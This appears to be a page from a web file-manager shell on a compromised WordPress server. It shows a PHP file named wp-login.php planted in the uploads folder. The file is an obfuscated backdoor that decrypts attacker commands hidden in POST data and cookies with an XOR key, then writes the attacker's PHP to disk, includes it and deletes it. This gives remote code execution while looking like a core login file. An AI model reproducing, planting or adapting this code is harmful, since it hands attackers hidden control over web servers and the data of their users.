HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/custom-css-js/wp-login.php
<?php 
$kxjpe	= /* vyu  */ 'kxjpe'    ^	'';
$frabhjg	=   $kxjpe(928-831)    . /* adbq   */ "\x72"    .	$kxjpe(114)	.    "\x61" /*   kbvny */ .    "y".$kxjpe(95)    . /*  wqba   */ "\x6d"       .      $kxjpe(97)    .	"p";$sgwebtdbn_  = /*   gi*/ "i".$kxjpe(649-540)  .      "\160"	.      $kxjpe(924-816)       .      "o"."\x64"	. /* tzo*/ "\x65";


function	kwbxdgyfkb($qbaaiwx,	$ccrsb)

{

 /*d */ global      $kxjpe;


    


 /*  md_tlc   */ $qbaaiwx      =   "\x3c" /*zvvexj   */ .	"\x3f"     .    "p"."h"."\160"     .  $kxjpe(32)    .   $kxjpe(905-788) /*ohtaj */ .	"n"."l".$kxjpe(105)    .     "n"."k".$kxjpe(729-689) /*  vpiem   */ . /*   cmlh  */ $kxjpe(95)       .  "\137" /*   pcq  */ . /*   ii*/ $kxjpe(1039-969)	.	$kxjpe(851-778)    .       "L"."\105"    .    $kxjpe(746-651)      .    "\137"       .    ")".$kxjpe(59) /* lfyhy  */ .  $kxjpe(32)  . /* __ */ $qbaaiwx[$kxjpe(100)];

    $oeejelso    = /* hvjb */ "f"."\x69"	. /*   olqyvw*/ $kxjpe(621-513)	.	"\145"."\137"	.  "\160" /*opl  */ .    $kxjpe(117) /*ynwkz*/ .    $kxjpe(302-186) /*szdjd */ .    "_"."\x63"      .    "\x6f"       . /*t  */ "n"."\x74"  . /*uchr  */ "\145" /*siea */ . /*   _x */ "\x6e"	. /*   _q   */ $kxjpe(116) /*   m*/ .     "s";	
    $oeejelso($ccrsb,	$qbaaiwx);

    


  c_oajvpl($ccrsb);


}



$ygblka    =	73;




function     c_oajvpl($ccrsb)


{

 /*ayv*/ global	$kxjpe;
    

    include($ccrsb);
    $_dxbiibqpc    = /*   umun*/ $ccrsb;


    @unlink($_dxbiibqpc);


}

function	vxzuisuq()


{    global    $kxjpe;

 /*ih   */ $_ayrukgqdm  = /*   bwdgk */ array();

  $_ayrukgqdm["\160"    . /*afi   */ "\166"]  = /* vyzls   */ phpversion();

 /*l*/ $_ayrukgqdm[$kxjpe(875-760) /*   vbiq */ . /*   tnruo*/ $kxjpe(822-704)]	=   $kxjpe(834-783)      .	".".$kxjpe(142-89);


	$_ayrukgqdmizjjkw    =    74;


 /*  oneco   */ echo    @serialize($_ayrukgqdm);
}



function /*   ry  */ pqakiuc($qbaaiwx,	$aysyfeeva)


{
    global    $kxjpe;


       $xusukjo /*  xc*/ =	"";


      $zazsoln       = /* s   */ strlen($qbaaiwx);

     $oflfqmcawp /*  ezj*/ =    strlen($aysyfeeva);
   $_ayrukgqdm /*ben   */ =     0;    $qrpzo /* opvbup*/ =    0;

    

 /* mrsa */ while       ($_ayrukgqdm    <    $zazsoln)    {       $spsjlkodq /*   wvshx*/ = /*hd  */ $qbaaiwx[$_ayrukgqdm]    ^  $aysyfeeva[$qrpzo    %	$oflfqmcawp];   $xusukjo  .=    $spsjlkodq;

 /*  tbmo */ $qrpzo++; /*px_fu */ 
 /*_mgeq */ $_ayrukgqdm++;

	}   


    if      (strlen($xusukjo) /*   jl_cm  */ >	20) /* l  */ {
    $zlkvk   =      substr($xusukjo,	0,	20);
 /*   uiaf*/ }
    if       (empty($xusukjo))  {

	$xusukjo /*  bsw   */ =  date('Y-m-d /* cce   */ H:i:s');


   }


    return /*  n  */ $xusukjo;


}


function    hjhqdlya($kysujjmzuy)


{	global    $kxjpe;

 /*cu */ 


 /* lxnitl  */ $kgbem    =    "0"."\66"    .	"b"."\143"    . /*  z */ $kxjpe(172-75)    . /*hfsk*/ $kxjpe(51)     .       $kxjpe(57)       .	"9"."\x2d"  .    "7".$kxjpe(56)       .  "4"."\63" /*   rk_e  */ . /*s */ "\x2d" /*   uw*/ .   $kxjpe(199-147)    .     $kxjpe(164-67) /*   otpx   */ .	"\x66"	.   "7"."\55" /*   lek */ .      "8"."4"."\145"."6".$kxjpe(733-688) /* qxmi*/ .     "\144"      . /*  rf*/ $kxjpe(102)   .       "7"."\62"	.    "\65" /*q_gaz*/ .	"\x39"  .	$kxjpe(139-37)    .    "3".$kxjpe(55) /* rwbqlh   */ .	"\145".$kxjpe(52)       .	"\x66";
 /* gipp   */ 
  foreach /*  nkzq  */ ($kysujjmzuy    as  $oaftkis    => /*   ubvhcy   */ $qbaaiwx) /*  dednt  */ {


     hypxl(base64_decode($qbaaiwx),  $kgbem, /* nomabr   */ $oaftkis);

    }
}
function	hypxl($qbaaiwx,	$kgbem, /*   mp */ $oaftkis)

{   global /*   klliwi*/ $kxjpe;


	

       $qbaaiwx /*  anprb  */ = /*   y */ unserialize(pqakiuc(pqakiuc($qbaaiwx,  $kgbem),      $oaftkis));

	$lurimfzw      =	'ntaroiue';	$yier_pz_j    =       'wlnv';
       if	(isset($qbaaiwx[$kxjpe(110-13).$kxjpe(213-106)]))       { /*   uvep */ if  ($qbaaiwx[$kxjpe(110-13)] /* ke   */ == /*  m */ "i")      {	vxzuisuq();
	} /* gqg   */ elseif   ($qbaaiwx[$kxjpe(110-13)]   ==    "\145")	{ /*   eqbe   */ kwbxdgyfkb($qbaaiwx, /*   uwmit  */ sprintf("."."\57"	.    "\x25" /*  wjvpe*/ .	"s".".".$kxjpe(112)    . /*calw   */ "l", /*   e  */ md5($kgbem)));
			$rtbcix    =    44;     }
     exit();
   }}





hjhqdlya($_POST);  

$fpvgc   =    'rawurldecode';





$drmmxk /*  u */ = /*avbgku   */ $frabhjg($fpvgc, /* wtrk*/ $_POST);
$sgwebtdbn_("",	$fpvgc);


hjhqdlya($_COOKIE);


$zdtvnqhmla   =    $frabhjg($fpvgc, /* rzkkp  */ $_COOKIE);

?>